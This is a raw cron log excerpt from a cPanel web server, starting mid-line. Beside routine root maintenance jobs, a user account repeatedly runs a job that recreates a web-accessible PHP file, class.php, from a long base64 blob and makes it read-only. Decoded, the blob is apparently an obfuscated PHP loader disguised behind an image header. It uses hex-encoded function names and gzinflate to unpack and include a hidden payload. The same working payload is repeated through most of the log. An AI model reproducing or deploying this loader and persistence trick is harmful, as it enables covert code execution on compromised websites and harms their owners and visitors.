OLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:22:01 server CROND[4888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:22:01 server CROND[4889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:22:01 server CROND[4891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:23:01 server CROND[5247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:23:01 server CROND[5248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:23:01 server CROND[5249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:24:01 server CROND[5714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:24:01 server CROND[5715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:24:01 server CROND[5717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:25:01 server CROND[6094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:25:01 server CROND[6095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:25:01 server CROND[6098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:25:01 server CROND[6102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:25:01 server CROND[6103]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:25:01 server CROND[6100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:25:01 server CROND[6099]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 02:25:01 server CROND[6101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:26:01 server CROND[6948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:26:01 server CROND[6949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:26:01 server CROND[6950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:27:01 server CROND[7314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:27:01 server CROND[7317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:27:01 server CROND[7315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:27:01 server CROND[7316]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:28:01 server CROND[7742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:28:01 server CROND[7743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:28:01 server CROND[7744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:29:01 server CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:29:01 server CROND[8175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:29:01 server CROND[8173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:30:01 server CROND[8590]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:30:01 server CROND[8592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:30:01 server CROND[8593]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:30:01 server CROND[8594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:30:01 server CROND[8598]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:30:01 server CROND[8597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:30:01 server CROND[8595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:30:01 server CROND[8596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:31:01 server CROND[9418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:31:01 server CROND[9419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:31:01 server CROND[9420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:32:01 server CROND[9793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:32:01 server CROND[9794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:32:01 server CROND[9795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:33:01 server CROND[10226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:33:01 server CROND[10225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:33:01 server CROND[10228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
